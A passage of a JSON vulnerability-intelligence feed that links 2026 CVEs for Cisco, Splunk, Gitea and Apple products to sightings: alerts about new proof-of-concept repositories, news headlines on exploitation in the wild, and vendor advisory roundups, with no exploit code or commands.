22:18:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20637: AppleSEPKeyStore Use-After-Free \u2014 iOS/macOS kernel vulnerability (patched in 26.4)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:23.766021Z"}, {"uuid": "25a99c2c-65b5-4f3a-b6ef-164076f20110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mstv6hulpg2y", "content": "Cisco confirms CVE-2026-20349, a Cisco ASA and FTD VPN vulnerability (CVSS 8.6), is exploited in the wild to crash firewalls. Patch now.\n\n#Cisco #CVE #DoS #FirewallSecurity #VPN #InfoSec", "creation_timestamp": "2026-08-12T00:36:58.311196Z"}, {"uuid": "fa55f030-d3d0-46f3-b71a-3737b3daa98b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2002", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90102", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2002-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a typedefabcd1234ntd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 12:52:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:18.979759Z"}, {"uuid": "4a78214d-68f0-4cb0-8533-5136e106c11b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90548", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE #\u6f0f\u6d1e #\u590d\u73b0 #\u5229\u7528\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-Unified-Communications-Manager-Server-Side-Forgery-Request-Vulnerability-CVE-2026-20230\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a W5M1n9\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-25 10:02:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:20.835721Z"}, {"uuid": "7bad7b56-23f8-4ecc-866c-3478971f3225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90763", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20251\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a reactivezero\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-26 21:34:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20251 \u2014 Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:21.279182Z"}, {"uuid": "2b8e4cd9-0f5a-48df-bb2a-c20ae8ee565e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90747", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20253-Splunk-Enterprise-Pre-Auth-RCE-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fevar54\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-26 18:31:06\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:21.319581Z"}, {"uuid": "2844a26a-e9e3-4a4d-8e98-67810d01b0f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/TengkorakCyberCrewzz/11396", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access \u2013 thehackernews.com\n\nThu, 25 Jun 2026 13:46:54", "creation_timestamp": "2026-07-15T00:00:25.101806Z"}, {"uuid": "162462d6-34d4-41df-90a8-47fc1a531504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/11653", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure \u2013 thehackernews.com\n\nTue, 07 Jul 2026 00:28:59", "creation_timestamp": "2026-07-15T00:00:25.188986Z"}, {"uuid": "fd9f6e10-6fff-4bd0-8592-08e03c49b19e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "https://t.me/cibsecurity/89930", "content": "\ud83d\udd8b\ufe0f Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure \ud83d\udd8b\ufe0f\n\nThreat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig.  The vulnerability in question is CVE202620896 CVSS score 9.8, a vulnerability that stems from the DevOps platform trusting the \"XWEBAUTHUSER\" header from any source IP address, effectively allowing an unauthenticated internet client to get elevated.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-07-15T00:00:22.656836Z"}, {"uuid": "19d1ce58-e7e2-450a-9585-745b5ef6a164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/ctinow/252365", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited Months Before Disclosure\nhttps://ift.tt/Q3WVD4J", "creation_timestamp": "2026-07-15T00:00:23.252075Z"}, {"uuid": "948eb3c7-9796-474b-8cfd-86ed33264a9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/ctinow/252886", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure\nhttps://ift.tt/Z1IT7qt", "creation_timestamp": "2026-07-15T00:00:23.392630Z"}, {"uuid": "19e6b3fd-15b7-4cc2-8305-3e602838b41f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/GithubRedTeam/91524", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kaleth4\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 00:23:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:26.112650Z"}, {"uuid": "d7566fc2-c728-43ec-bf26-31547c4bb856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92061", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rz1027\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 15:52:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPublic PoC and detector for CVE-2026-20896 (\"Gitea Docker: One Header, Any User\")\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:29.628301Z"}, {"uuid": "f57fc1dc-b30b-4fd7-b15f-24d4a4e0a5a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91041", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WebKit-NavigationAPI-SOP-Bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeroxjf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 18  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 5\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-28 22:18:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWebKit NavigateEvent.canIntercept SOP bypass via cross-port interception \u2014 iOS 26.3.1 BSI (CVE-2026-20643)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:23.806998Z"}, {"uuid": "3faef552-47a0-4f72-a89b-1e4bb9bbe4a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91106", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20253\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pssec-io\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 07:53:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-20253\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:24.194397Z"}, {"uuid": "095ff95a-493e-4c21-8c2a-04fd5f1f99a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92405", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-20896-gitea-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a szybnev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 20:31:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20896 Gitea Docker X-WEBAUTH-USER auth bypass checker\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:31.635263Z"}, {"uuid": "800f9922-c41d-4a42-a051-70249ac85552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/BleepingComputer/24972", "content": "\u200aMandiant reveals how Cisco SD-WAN zero-day attacks gained root access\n\nNew details have been revealed on how hackers exploited a Cisco Catalyst SD-WAN vulnerability tracked as CVE-2026-20245 in zero-day attacks to create rogue root accounts on targeted devices. [...]\n\nhttps://www.bleepingcomputer.com/news/security/mandiant-reveals-how-cisco-sd-wan-zero-day-attacks-gained-root-access/", "creation_timestamp": "2026-07-15T00:00:36.870498Z"}, {"uuid": "14194535-8265-4995-8bed-ec28f633db9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://t.me/BleepingComputer/24966", "content": "\u200aCisco Unified CM flaw CVE-2026-20230 now exploited in attacks\n\nA high-severity SSRF vulnerability, tracked as CVE-2026-20230, in Cisco Unified Communications Manager Server is now being exploited in attacks. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisco-unified-cm-sme-flaw-cve-2026-20230-now-exploited-in-attacks/", "creation_timestamp": "2026-07-15T00:00:36.904601Z"}, {"uuid": "f6679907-ab95-43a5-a5ce-1aaad97b655e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://t.me/BleepingComputer/24903", "content": "\u200aCisco fixes SD-WAN vManage flaw exploited in zero-day attacks\n\nCisco has released security updates to address a vulnerability in the Catalyst SD-WAN Manager, tracked as CVE-2026-20262, that was exploited in attacks to escalate to root privileges. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisco-fixes-sd-wan-vmanage-flaw-exploited-in-zero-day-attacks/", "creation_timestamp": "2026-07-15T00:00:36.973671Z"}, {"uuid": "e8441708-927a-455e-bd78-f014eba21ec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mszauhvlll22", "content": "Top 3 CVE for last 7 days:\nCVE-2026-68820: 35 interactions\nCVE-2026-64564: 31 interactions\nCVE-2026-64638: 19 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-59310: 11 interactions\nCVE-2026-20349: 10 interactions\nCVE-2026-68820: 9 interactions\n", "creation_timestamp": "2026-08-14T03:49:25.849593Z"}, {"uuid": "bf148d15-73a9-4a89-a22a-3a1cdbc64407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/CyberDispatch/1958", "content": "A critical Splunk Enterprise flaw can go from \u201cno login required\u201d to remote code execution.\n\nTracked as CVE-2026-20253, the bug carries a 9.8 CVSS score and affects vulnerable Splunk Enterprise servers through exposed PostgreSQL sidecar endpoints.", "creation_timestamp": "2026-08-29T20:00:13.227340Z"}, {"uuid": "a594ec81-d008-4c68-a4c5-9fea9f0aacfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "Telegram/dSrnzGW7PJWm1-o5QSIlJBHISw5I5PSeqCYvXc80nNNV9w", "content": "", "creation_timestamp": "2026-08-14T04:00:03.743654Z"}, {"uuid": "b2087eb2-ec30-4fc1-b6f1-b350c4895aa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117055491493877536", "content": "CISA has added one vulnerability to the KEV catalogue:\nCVE-2026-8037: Progress LoadMaster Command Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-8037 #CISA \nCisco:\nNEW: CVE-2026-20337, CVE-2026-20338, and CVE-2026-20339: ClamAV Vulnerabilities Affecting Cisco Products: August 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-WuuvVd26 #Cisco \nPalo Alto:\nCRITICAL, NEW: CVE-2026-0288 PAN-OS: Buffer Overflow Vulnerabilities in User-ID Terminal Server Agent https://security.paloaltonetworks.com/CVE-2026-0288 \nMicrosoft:\nSeveral updates for a slew of vulnerabilities were posted today on the Microsoft Update Guide: https://msrc.microsoft.com/update-guide/ #Microsoft \nGoogle:\nNew: Chrome Dev for Android Update https://chromereleases.googleblog.com/ #Google #Chrome \nBroadcom:\nOne new advisory for a high-severity vulnerability that was first published on July 23 https://support.broadcom.com/web/ecx/security-advisory\nPosted yesterday:\nApple security updates https://support.apple.com/en-us/100100 #Apple \nAMD: Safe RET Interrupt Vulnerability https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7061.html #AMD \nDell:\nCRITICAL, last updated yesterday: Dell PowerMaxOS, Dell PowerMax EEM, Dell Unisphere for PowerMax, Dell Solutions Enabler Security Update for Multiple Vulnerabilities https://www.dell.com/support/kbdoc/en-us/000483543/dsa-2026-272-dell-powermaxos-dell-powermax-eem-dell-unisphere-for-powermax-dell-unisphere-for-powermax-virtualappliance-dell-unisphere-360-dell-solutionsenabler-and-dell-solutionsenabler-virtualappliance-security-update-for-multiple-vulnerabilities #Dell #infosec #vulnerability #Java #SQL", "creation_timestamp": "2026-08-07T17:50:55.079589Z"}, {"uuid": "0dbaa417-a598-42bf-b824-6a7ef192d555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117055491493877536", "content": "CISA has added one vulnerability to the KEV catalogue:\nCVE-2026-8037: Progress LoadMaster Command Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-8037 #CISA \nCisco:\nNEW: CVE-2026-20337, CVE-2026-20338, and CVE-2026-20339: ClamAV Vulnerabilities Affecting Cisco Products: August 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-WuuvVd26 #Cisco \nPalo Alto:\nCRITICAL, NEW: CVE-2026-0288 PAN-OS: Buffer Overflow Vulnerabilities in User-ID Terminal Server Agent https://security.paloaltonetworks.com/CVE-2026-0288 \nMicrosoft:\nSeveral updates for a slew of vulnerabilities were posted today on the Microsoft Update Guide: https://msrc.microsoft.com/update-guide/ #Microsoft \nGoogle:\nNew: Chrome Dev for Android Update https://chromereleases.googleblog.com/ #Google #Chrome \nBroadcom:\nOne new advisory for a high-severity vulnerability that was first published on July 23 https://support.broadcom.com/web/ecx/security-advisory\nPosted yesterday:\nApple security updates https://support.apple.com/en-us/100100 #Apple \nAMD: Safe RET Interrupt Vulnerability https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7061.html #AMD \nDell:\nCRITICAL, last updated yesterday: Dell PowerMaxOS, Dell PowerMax EEM, Dell Unisphere for PowerMax, Dell Solutions Enabler Security Update for Multiple Vulnerabilities https://www.dell.com/support/kbdoc/en-us/000483543/dsa-2026-272-dell-powermaxos-dell-powermax-eem-dell-unisphere-for-powermax-dell-unisphere-for-powermax-virtualappliance-dell-unisphere-360-dell-solutionsenabler-and-dell-solutionsenabler-virtualappliance-security-update-for-multiple-vulnerabilities #Dell #infosec #vulnerability #Java #SQL", "creation_timestamp": "2026-08-07T17:50:55.127593Z"}, {"uuid": "91dd1ad8-cb1c-4b00-935e-4f8a196378c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117055491493877536", "content": "CISA has added one vulnerability to the KEV catalogue:\nCVE-2026-8037: Progress LoadMaster Command Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-8037 #CISA \nCisco:\nNEW: CVE-2026-20337, CVE-2026-20338, and CVE-2026-20339: ClamAV Vulnerabilities Affecting Cisco Products: August 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-WuuvVd26 #Cisco \nPalo Alto:\nCRITICAL, NEW: CVE-2026-0288 PAN-OS: Buffer Overflow Vulnerabilities in User-ID Terminal Server Agent https://security.paloaltonetworks.com/CVE-2026-0288 \nMicrosoft:\nSeveral updates for a slew of vulnerabilities were posted today on the Microsoft Update Guide: https://msrc.microsoft.com/update-guide/ #Microsoft \nGoogle:\nNew: Chrome Dev for Android Update https://chromereleases.googleblog.com/ #Google #Chrome \nBroadcom:\nOne new advisory for a high-severity vulnerability that was first published on July 23 https://support.broadcom.com/web/ecx/security-advisory\nPosted yesterday:\nApple security updates https://support.apple.com/en-us/100100 #Apple \nAMD: Safe RET Interrupt Vulnerability https://www.amd.com/en/resources/product-security/bulletin/amd-sb-7061.html #AMD \nDell:\nCRITICAL, last updated yesterday: Dell PowerMaxOS, Dell PowerMax EEM, Dell Unisphere for PowerMax, Dell Solutions Enabler Security Update for Multiple Vulnerabilities https://www.dell.com/support/kbdoc/en-us/000483543/dsa-2026-272-dell-powermaxos-dell-powermax-eem-dell-unisphere-for-powermax-dell-unisphere-for-powermax-virtualappliance-dell-unisphere-360-dell-solutionsenabler-and-dell-solutionsenabler-virtualappliance-security-update-for-multiple-vulnerabilities #Dell #infosec #vulnerability #Java #SQL", "creation_timestamp": "2026-08-07T17:50:55.178548Z"}, {"uuid": "8eab6d7b-1ee5-431d-bc22-1024d24668e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mqnvcdm2qd2u", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43499: 26 interactions\nCVE-2026-20262: 14 interactions\nCVE-2026-44747: 14 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-44747: 14 interactions\nCVE-2026-47295: 6 interactions\nCVE-2026-54527: 6 interactions\n", "creation_timestamp": "2026-07-15T04:32:45.522330Z"}, {"uuid": "dc53267b-7919-4cd4-8e9a-6da23dd1b61b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mqnwy3sizb2e", "content": "Daily IT Security Digest \u2014 2026-07-15\nActively Exploited\n\nA critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager \u2014 tracked as CVE-2026-20262 \u2014 is under active exploitation in the wild. Attackers with write access can escalate to root privileges through crafted HTTP requests. No official", "creation_timestamp": "2026-07-15T05:02:49.373380Z"}, {"uuid": "70689f52-0775-4e1d-a9ea-17e141435dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-26)", "content": "", "creation_timestamp": "2026-08-27T10:15:13.381073Z"}, {"uuid": "3c9d5f27-a0fc-425b-8b95-d883cc28c04a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "https://t.me/thehackernews/9422", "content": "\ud83d\udea8 CVE-2026-20896 saw its first in-the-wild attempt 13 days after disclosure.\n\nThe Gitea Docker flaw lets reachable containers trust spoofed X-WEBAUTH-USER headers when reverse proxy auth is enabled.\n\nSee which setups are exposed and where the probe stopped: https://thehackernews.com/2026/07/threat-actors-probe-gitea-docker-flaw.html", "creation_timestamp": "2026-07-15T12:00:03.977493Z"}, {"uuid": "af850513-5f31-4114-830d-d8eab0a70950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/thehackernews/9343", "content": "CISA just added a Cisco Unified CM flaw to its exploited bugs list.\n\nDefused Cyber says CVE-2026-20230 is being exploited from a single source using an unvetted PoC.\n\nThe bug can allow unauthenticated SSRF and file writes when WebDialer is enabled.\n\nThe technical trail is here: https://thehackernews.com/2026/06/cisco-unified-cm-flaw-exploited-after.html", "creation_timestamp": "2026-07-15T12:00:04.201476Z"}, {"uuid": "264cfac3-7cc7-4d16-a333-33df03b661a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/information_security_channel/55441", "content": "Splunk Enterprise Vulnerability Exploited in Attacks Days After Disclosure\nhttps://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/\n\nCISA has given federal agencies only three days to patch CVE-2026-20253, which can be exploited for unauthenticated remote code execution.\nThe post Splunk Enterprise Vulnerability Exploited in Attacks Days After Disclosure (https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-15T12:00:06.459138Z"}, {"uuid": 